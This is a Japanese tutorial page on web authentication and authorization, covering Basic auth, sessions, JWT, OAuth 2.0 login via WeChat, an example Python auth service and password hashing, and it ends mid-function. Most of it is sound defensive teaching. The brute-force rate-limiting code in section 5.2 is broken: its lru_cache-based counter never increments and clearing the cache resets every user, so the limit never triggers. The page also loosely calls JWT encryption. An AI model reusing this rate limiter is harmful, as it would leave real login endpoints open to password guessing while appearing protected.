Skip to content
Main Navigation ホーム初心者とPMフルスタック開発上級開発付録Vibe ストーリー

日本語

简体中文
English
繁體中文
한국어
Español
Français
Deutsch
العربية
Tiếng Việt

日本語

简体中文
English
繁體中文
한국어
Español
Français
Deutsch
العربية
Tiếng Việt

Appearance

Sidebar Navigation

I. コンピュータ基礎

フルスタック開発序論:Vibe Coding 時代のコンピュータ知識マップ

コンピュータシステム全景:起動からウェブアクセスまで

デジタル回路基礎:トランジスタから CPU まで

コンピュータ構成原理

オペレーティングシステム原理:プロセス・メモリ・ファイルシステム

データ表現原理:符号化・格納・伝送

コンピュータネットワーク:URL 入力からページ描画まで

データ構造序論

アルゴリズム序論

プログラミング言語概念:パラダイム・進化・選定

コンパイラ原理

型システム序論

II. ツールと環境

IDE:VSCode を中心とした開発環境構築

コマンドラインシェル基礎

Git:分散バージョン管理とブランチ戦略

環境変数とPATH:実行可能ファイルの探索機構

ポートとlocalhost:ネットワーク接続の基礎概念

SSH認証:鍵ペアとリモートログイン

パッケージ管理:npm・pip・cargo・go mod の比較

デバッグ:科学的手法とツール活用

正規表現:パターンマッチングの文法と応用

III. ブラウザとフロントエンド

JavaScript 原理:スコープ・クロージャ・プロトタイプ

TypeScript 原理:型システムの設計哲学

フロントエンドフレームワーク入門

ブラウザレンダリング:HTML解析から合成までのパイプライン

HTML/CSS レイアウト基礎

JavaScript ランタイム:イベントループと非同期実行

フレームワーク本質:リアクティビティとコンポーネント

状態管理原理:コンポーネント間データフロー

ルーティング:SPAナビゲーションと履歴管理

グラフィックス:Canvas・WebGL・アニメーション最適化

リアルタイム通信:Polling・SSE・WebSocket の比較

Webパフォーマンス:指標計測と最適化戦略

フロントエンドエンジニアリング全体像

フロントエンドアーキテクチャ:モジュール分割とディレクトリ設計

ウェブ多次元設計:国際化とアクセシビリティ

IV. サーバーとバックエンド

バックエンド言語:Python・Go・Node.js・Ruby の比較

クライアント言語:Swift・Kotlin・Dart

クロスプラットフォーム:React Native・Flutter・Electron・Tauri

HTTP プロトコル:メソッド・ステータス・ヘッダ

リクエスト処理全体像:ブラウザからDBまで

Web フレームワーク:ルーティング・ミドルウェア・ORマッピング

API 基礎:プログラム間対話の入門

API 設計:REST・GraphQL・エラーハンドリング

シリアライズ:データ形式の翻訳と変換

認証認可:セッション・JWT・OAuth2.0

並行処理:プロセス・スレッド・コルーチンの比較

キャッシュ原理:階層構造と無効化戦略

メッセージキュー:非同期連携とイベント駆動

非同期タスク:Producer/Consumer パターン

レート制御:流量制限とバックプレッシャー

検索エンジン:転置インデックスとランキング

ストレージ:ファイルシステムとオブジェクトストア

レイヤードアーキテクチャ:Controller・Service・Repository

バックエンドプロジェクトアーキテクチャ入門

DSL:領域固有言語の設計と応用

V. データ

データベース原理:インデックス・トランザクション・クエリ最適化

データモデル:ドキュメント・グラフ・時系列・ベクトル

データトラッキング入門

データ分析:核心概念・論理・洞察

A/B テスト:データ駆動意思決定

データ可視化:チャート設計とダッシュボード

データガバナンス入門

VI. アーキテクチャ

アーキテクチャ進化:モノリスからマイクロサービスへ

分散システム:一貫性・可用性・分断耐性

高可用性:冗長化・フェイルオーバー・災害復旧

システム設計:要求分析から評価までの方法論

VII. インフラ

Linux:コマンド・権限・プロセス管理

Docker:コンテナ化とイメージビルド

Kubernetes 原理:オーケストレーションの核心概念

CI/CD:ビルド・テスト・デプロイ自動化

DNSとHTTPS:名前解決とTLS暗号化

LB:負荷分散とヘルスチェック

ゲートウェイ:リバースプロキシとロードバランシング

クラウドプラットフォーム:AWS・GCP・Azure の共通概念

クラウドIAM:認可・権限・監査

ストレージとCDN:オブジェクトストアとエッジキャッシュ

IaC:Terraform によるインフラコード化

モニタリング:メトリクス・ログ・アラート設計

インシデント対応:障害調査と復旧手順

VIII. 人工知能

AI 史:シンボリックから接続主義までの系譜

ニューラルネット:レイヤ構造と学習アルゴリズム

Transformer:Attention 機構の核心

LLM 原理:トランスフォーマーベースの生成メカニズム

プロンプト工学:命令設計と出力安定化

コンテキスト工学:LLM 入力の設計と最適化

マルチモーダル:画像・音声・テキストの統合

画像生成:拡散モデルとプロンプト制御

音声処理:音声認識と音声合成技術

埋め込み:ベクトル表現と類似検索

RAG:検索拡張生成のパイプライン設計

AI エージェント:計画・記憶・ツール利用

AI プロトコル:MCP と A2A の標準化動向

モデル運用:ファインチューニングと推論デプロイ

AI ネイティブ設計:人間中心の UX パターン

AI 能力辞典:タスク領域・代表モデル・ツール

IX. エンジニアリング品質

コード品質:リーダビリティとリファクタリング

テスト戦略:単体・結合・E2Eの設計原則

デザインパターン:GoF23 の核心と用途

セキュリティ思考:脅威モデルと防御的プログラミング

技術文書:ドキュメント設計と表現法

OSS コラボレーション:Issue・PR・レビュー文化

技術選定:要件・制約・トレードオフ分析

このページの目次

認証認可:セッション・JWT・OAuth2.0 ​

💡 学習ガイド:この章では、バックエンドシステムの「ゲートキーパー」——認証と認可について深く理解します。「あなたは誰か」という基本から始め、Session、JWT、OAuth 2.0 などの最新の認証ソリューションを段階的に習得します。

🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

0. はじめに:システムの「ゲートキーパー」 ​

WeChatにログインした後、アプリを閉じて再度開いてもログイン状態が維持されるのはなぜでしょうか? Bilibiliにアクセスしたとき、あなたがプレミアム会員か一般ユーザーかをどうやって判断しているのでしょうか? WeChatのQRコードでサードパーティのWebサイトにログインするとき、なぜパスワードを入力する必要がないのでしょうか?

これらすべての背後には、認証と認可 (Authentication & Authorization) という中核システムがあります。

バックエンドシステムをビルに例えると:

  • 認証 (Authentication):「あなたは誰か」を確認する(身分証明書やアクセスカードの確認)。
  • 認可 (Authorization):「あなたがどこに行けるか」を確認する(VIPはVIPラウンジに入れるが、一般ユーザーは入れない)。

0.1 認証の動機 ​

理由は一つだけです:リソースを保護するため。

  • プライバシー保護:あなたの個人情報やチャット履歴は、あなただけが見ることができます。
  • 権限制御:管理者はユーザーを削除できますが、一般ユーザーはできません。
  • 悪用防止:悪意のある呼び出しやAPIの不正利用を防ぎます。
🧰 Four Common Authentication Credentials
Choose a method to see what the request looks like, where it fits, and the common pitfalls.
What the request looks like
GET /api/profile
Authorization: Basic <base64(username:password)>
Base64 is not encryption. Use HTTPS, and avoid it for public production systems.
When to use it, and when not to
✅ Good fit
  • Very simple and supported by every client
  • Useful for internal or temporary debugging tools
⚠️ Poor fit / risks
  • Sends the password on every request, which is risky
  • No real logout unless the server changes the password
  • Not a good fit for modern product systems
Rule of thumb
Authenticate first, then authorize. Credentials only prove identity; authorization must always be enforced on the server.

0.2 インタラクティブデモ:ログインフロー ​

実際のログインデモを通じて、認証と認可がどのように機能するかを理解しましょう。

🔐 Authentication Flow Demo
Simulate login to understand the difference between authentication and authorization.
Choose auth method:
Login form
💡 Tip
Try username admin,password 123456
📊 Data Flow Visualization

ポイント:認証は最初の防御線です。すべての機密操作は、まず身元を確認する必要があります。


1. 基本概念:認証 vs 認可 ​

1.1 認証 (Authentication):あなたは誰か ​

ユーザーの身元を確認すること。

  • 例:ユーザー名とパスワードの入力、指紋認証、顔認証。
  • 出力:「あなた」を表すトークン(Token)。
  • 英語略称:AuthN

1.2 認可 (Authorization):あなたは何ができるか ​

ユーザーがどのような権限を持っているかを確認すること。

  • 例:管理者は記事を削除でき、一般ユーザーは「いいね」しかできない。
  • 出力:アクセスの許可または拒否。
  • 英語略称:AuthZ

1.3 両者の関係 ​

ユーザーリクエスト → 認証 (あなたは誰か?) → 認可 (あなたはそれができるか?) → ビジネスロジックの実行
           ↓                        ↓
      身元確認                権限チェック
      (Token 有効?)         (delete 権限がある?)
🪪 AuthN vs 🛂 AuthZ: What Happens to a Request?
Choose who is making the request and what they want to do to see where authentication and authorization apply.
Choose request
In a real system, authentication happens first by parsing a cookie or JWT, while authorization happens in routing or business logic with RBAC/ABAC.
Simulation result
AuthN (authentication)Fail
AuthZ (authorization)Deny
HTTP401 Unauthorized
Request: view_profile
AuthN: FAIL - Missing valid credential such as cookie or JWT
AuthZ: DENY - Authentication failed, so authorization cannot be evaluated
Result: 401 Unauthorized
Key points
  • Authentication failure:the system does not know who you are, so it usually returns 401.
  • Authenticated but unauthorized:the system knows who you are, but you cannot perform the action, so it usually returns 403.
  • Authorization rules belong on the server:do not trust whether the frontend shows a button; that is only UX.

ポイント:まず認証、次に認可。「あなたは誰か」が確認できて初めて、「あなたが何ができるか」を判断できます。


2. ソリューションの進化史 ​

2.1 第一世代:HTTP Basic Authentication ​

最も古いソリューションで、ユーザー名とパスワードを直接HTTPヘッダーに入れます。

http
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  • 利点:シンプルで、すべてのブラウザがサポートしている。
  • 欠点:
    • 安全でない(Base64はデコード可能で、平文に相当)。
    • リクエストごとにパスワードを送信する必要がある(傍受されやすい)。
    • 能動的にログアウトできない(ブラウザを閉じる以外に方法がない)。

結論:内部テストツールのみに適しており、本番環境では絶対に使用しないこと。

2.2 第二世代:Session + Cookie ​

Web開発の古典的なソリューション。

フロー:

1. ユーザーログイン (POST /login)
   → サーバーがユーザー名とパスワードを検証
   → Sessionを作成(サーバーメモリまたはRedisに保存)
   → Set-Cookie: session_id=abc123 を返す

2. 後続のリクエスト
   → ブラウザが自動的に Cookie: session_id=abc123 を付与
   → サーバーが session_id に基づいて Session を検索
   → 見つかれば「あなたはあなたである」と認識

コード例:

python
# バックエンド (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # ユーザー名とパスワードを検証
    user = db.authenticate(username, password)
    if user:
        # Sessionを作成
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "ユーザー名またはパスワードが間違っています"}, 401

@app.route("/api/admin/users")
def get_users():
    # Sessionをチェック
    if "user_id" not in session:
        return {"error": "ログインしていません"}, 401

    # 権限をチェック
    if session.get("role") != "admin":
        return {"error": "権限が不足しています"}, 403

    # ビジネスロジックを実行
    users = db.get_all_users()
    return {"users": users}
🍪 Session + Cookie: Stateful Login
The demo advances manually so each state is visible before the next step.
Browser (client)
Cookie Jar
No cookie yet
Request in this step
(click start)
Server
Session Store(Redis/Memory)
No session yet
Response in this step
Workflow notes

利点:

  • シンプルで直感的、理解しやすい。
  • サーバー側で能動的にログアウトできる(Sessionを削除)。

欠点:

  • サーバーに状態がある:Sessionを保存する必要があり、複数サーバーでは共有が必要(Redisなど)。
  • クロスドメインが困難:Cookieはデフォルトでクロスドメインに対応していない(CORSの問題)。
  • CSRF攻撃:悪意のあるWebサイトがあなたのCookieを悪用できる。

結論:従来のWebアプリケーション(サーバーサイドレンダリング)に適しており、モバイルや最新のSPAには不向き。

2.3 第三世代:Token (JWT) ​

最新のWebの主流ソリューション。

核心思想:サーバー側に状態を保存せず、ユーザー情報をTokenに暗号化してクライアント側に保存する。

JWTの構造:

JWT = Header.Payload.Signature

例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  • Header:アルゴリズム情報(例:{"alg": "HS256", "typ": "JWT"})。
  • Payload:ユーザー情報(例:{"user_id": 123, "role": "admin", "exp": 1616239022})。
  • Signature:署名(改ざん防止)。

フロー:

python
# 1. ユーザーログイン
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # JWTを生成
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # 24時間で有効期限切れ
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "ユーザー名またはパスワードが間違っています"}, 401

# 2. 後続のリクエスト
@app.route("/api/admin/users")
def get_users():
    # HeaderからTokenを取得
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "Tokenが提供されていません"}, 401

    token = auth_header.split(" ")[1]

    try:
        # Tokenを検証して解析
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "Tokenの有効期限が切れています"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Tokenが無効です"}, 401

    # 権限をチェック
    if payload.get("role") != "admin":
        return {"error": "権限が不足しています"}, 403

    # ビジネスロジックを実行
    users = db.get_all_users()
    return {"users": users}
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1786777276,
  "exp": 1786780876
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

利点:

  • ステートレス:サーバー側でSessionを保存せず、水平スケーリングが容易。
  • クロスドメインに優しい:Headerに入れるため、Cookieのクロスドメイン制限を受けない。
  • モバイルに優しい:ネイティブアプリでも簡単に使用可能。
  • 情報が豊富:Payloadにユーザー情報や権限などを保存できる。

欠点:

  • 能動的なログアウトができない:Tokenは一度発行されると、有効期限が切れるまで有効(ブラックリストを使用しない限り)。
  • Payloadが可視:Base64エンコードのため、機密情報(パスワードなど)を保存できない。
  • Tokenが大きい:毎回のリクエストに付与する必要があり、数百バイトになる。

結論:最新のWebおよびモバイルの標準ソリューション。

🧩 Session vs JWT: How Do You Choose?
Pick your constraints and get a recommendation with reasons. This is more useful than memorizing a rule.
Your scenario
Recommendation
Session + Cookie
The safest default for traditional Web apps
Why
  • Same-site Web plus immediate logout needs are easier to control with sessions.
  • For multiple instances, use a shared session store such as Redis.
Implementation tips
  • Cookie: HttpOnly + Secure + SameSite=Lax/Strict depending on the product
  • CSRF: SameSite plus CSRF token for layered defense
  • Session store: Redis + TTL + renewal strategy such as sliding expiration
Common misconceptions
  • JWT is not automatically more secure:JWT is only stateless. Security depends on keys, expiration, storage, and authorization design.
  • Cookie does not automatically mean CSRF:SameSite plus CSRF tokens can significantly reduce risk.
  • Do not treat third-party OAuth tokens as your system tokens:They have different purposes.

3. OAuth 2.0:サードパーティログイン ​

「WeChatでログイン」「Googleでログイン」というボタンを見たことがあるでしょう。

これが OAuth 2.0:認可フレームワークです(認証ではありません!)。

3.1 主要な役割 ​

役割説明例
Resource Ownerリソース所有者(ユーザー)あなた
ClientサードパーティアプリあるWebサイト
Authorization Server認可サーバーWeChat、Google
Resource ServerリソースサーバーWeChatのユーザー情報API

3.2 認可コードフロー (Authorization Code Flow) ​

最も安全なモードで、バックエンドを持つサーバーに適しています。

フロー:

1. ユーザーが「WeChatでログイン」をクリック
   → WeChatの認可ページにリダイレクト
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. ユーザーがQRコードをスキャンして認可に同意
   → WeChatがあなたのWebサイトにリダイレクト
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. あなたのバックエンドが code を使って access_token と交換
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   → 返却: { "access_token": "...", "openid": "..." }

4. access_token を使ってユーザー情報を取得
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   → 返却: { "nickname": "張三", "headimgurl": "..." }
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

コード例:

python
from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. WeChatの認可ページにリダイレクト
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. code を取得
    code = request.args.get("code")
    state = request.args.get("state")

    # state を検証(CSRF対策)
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. code を使って access_token と交換
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. ユーザー情報を取得
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. ローカルでユーザーを作成または更新
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. 自システムのJWTを生成
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}

ポイント:

  • code は一度しか使えない:使用後は即座に無効になり、傍受を防ぐ。
  • state で CSRF 対策:ランダムな文字列を生成し、コールバック時に検証して、悪意のあるWebサイトによる偽造を防ぐ。
  • redirect_uri は一致必須:事前にWeChatオープンプラットフォームに登録し、リダイレクト攻撃を防ぐ。

3.3 その他のモード ​

モード適用シーン安全性
認可コードモードバックエンドを持つサーバー⭐⭐⭐⭐⭐
インプリシットモード (Implicit)純粋なフロントエンドアプリ(SPA)⭐⭐⭐(非推奨)
パスワードモード (Resource Owner)高度に信頼されたアプリ(公式Appなど)⭐⭐
クライアントクレデンシャルモード (Client Credentials)サーバー間通信(ユーザーなし)⭐⭐⭐⭐
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

4. 実践:完全な認証システムの設計 ​

4.1 要件分析 ​

  • マルチプラットフォーム対応:Web、iOS、Android。
  • サードパーティログイン:WeChat、Google。
  • 権限制御:一般ユーザー、VIP、管理者。
  • セキュリティ:不正利用防止、ハイジャック防止、リプレイ攻撃防止。

4.2 アーキテクチャ設計 ​

┌─────────────┐
│   クライアント │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting (レート制限)    │
│  - Token Validation (トークン検証) │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service (認証サービス) │
│  - 登録、ログイン                │
│  - Token 発行と検証              │
│  - OAuth 2.0 統合                │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services             │
│  - User Service                  │
│  - Order Service                 │
│  - Payment Service               │
└─────────────────────────────────┘

4.3 データベース設計 ​

sql
-- ユーザーテーブル
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- bcrypt ハッシュ
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- サードパーティログインバインディングテーブル
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- サードパーティのユーザーID
    access_token TEXT,  -- 暗号化して保存
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Token ブラックリスト(能動的ログアウト用)
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JWT の JTI (一意識別子)
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

4.4 コード実装 ​

python
# auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # 本番環境では環境変数を使用

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. ユーザー名の重複をチェック
        if db.get_user_by_username(username):
            raise ValueError("ユーザー名は既に存在します")

        # 2. パスワードをハッシュ化(bcrypt)
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. ユーザーを作成
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. Token を発行
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. ユーザーを検索
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("ユーザー名またはパスワードが間違っています")

        # 2. パスワードを検証
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("ユーザー名またはパスワードが間違っています")

        # 3. Token を発行
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (短期、例:1時間)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # 一意識別子
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (長期、例:30日)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # access_token の有効期限(秒)
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("Refresh token の有効期限が切れています")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh token が無効です")

    def logout(self, token: str):
        # Token をブラックリストに追加
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # ブラックリストに含まれているかチェック
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("Token はログアウト済みです")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token の有効期限が切れています")
        except jwt.InvalidTokenError:
            raise ValueError("Token が無効です")

# API デコレータ
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # Header から Token を取得
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "Token が提供されていません"}, 401

            token = auth_header.split(" ")[1]

            try:
                # Token を検証
                payload = auth_service.verify_token(token)
                # ユーザー情報をリクエストコンテキストに注入
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "ログインしていません"}, 401

            if request.user["role"] not in roles:
                return {"error": "権限が不足しています"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# 使用例
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1786777276,
  "exp": 1786780876
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

5. セキュリティベストプラクティス ​

5.1 パスワードの保存 ​

❌ 誤った方法:

python
# 平文で保存(絶対にダメ!)
db.save_password(username, password)

# MD5 / SHA1 ハッシュ(十分に安全ではなく、レインボーテーブルで解読されやすい)
hash = md5(password)
db.save_password(username, hash)

✅ 正しい方法:

python
# bcrypt(適応型ハッシュ、低速ハッシュでブルートフォース対策)
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # rounds が大きいほど安全だが、遅くなる
)

# 検証
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # パスワードが正しい

なぜ bcrypt なのか?

  • 遅い:意図的に遅く設計されており(ミリ秒単位)、ブルートフォース攻撃を防ぐ。
  • 適応型:rounds を調整でき、ハードウェアの進化に合わせて強化できる。
  • ソルト付き:ランダムなソルトが組み込まれており、レインボーテーブルを防ぐ。
🔐 Password Storage: Hash + Salt + Slow
See how PBKDF2, used here as a slow-hash demo, resists rainbow tables and brute force. Real projects usually choose bcrypt or Argon2.
Input
Higher values are slower and raise brute-force cost, but also slow down login.
salt
Output (simulation)
Algorithm: PBKDF2-SHA256Time: 0ms
derived key (hex)
(enter a password)
Conclusion
Do not store plaintext passwords. Do not use fast unsalted hashes such as MD5, SHA1, or direct SHA256 for passwords. Use a dedicated password hash or KDF with cost and salt.
🌈 Why Rainbow Tables Fail: Same Password + Different Salt → Different Result
salt A
hash A
-
salt B
hash B
-
Rainbow tables rely on precomputation. If the same password always produced the same hash, attackers could look it up quickly. Salt makes precomputation explode in cost.

5.2 ブルートフォース攻撃対策 ​

  • レート制限:同じ IP / ユーザー名で、1分間に5回までしか試行できない。
  • CAPTCHA:3回失敗したらCAPTCHAの入力を要求。
  • アカウントロック:10回失敗したらアカウントを30分間ロック。
python
from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """(試行回数, 初回試行時刻) を返す"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # 1分以内にリセット
    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # 5回を超えたら拒否
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # 再キャッシュ

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # レート制限をチェック
    if not check_rate_limit(username):
        return {"error": "試行回数が多すぎます。1分後にもう一度お試しください"}, 429

    password = request.json["password"]

    # パスワードを検証
    user = db.get_user_by_username(username)
